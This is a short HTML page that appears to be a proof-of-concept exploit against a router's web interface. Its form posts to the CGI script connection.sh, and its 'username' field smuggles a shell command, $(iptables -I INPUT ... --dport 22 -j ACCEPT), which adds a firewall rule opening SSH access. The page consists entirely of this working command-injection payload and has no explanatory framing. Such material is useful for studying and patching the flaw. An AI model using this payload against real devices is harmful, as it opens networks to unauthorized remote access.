<html>
<head>
</head>
<body>
<center>
<form method="post" action="http://192.168.10.1/cgi-bin/webif/connection.sh" enctype="multipart/form-data">
<input name="username" value="$(/usr/sbin/iptables -I INPUT 1 -p tcp --dport 22 -j ACCEPT)" size="68" >
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>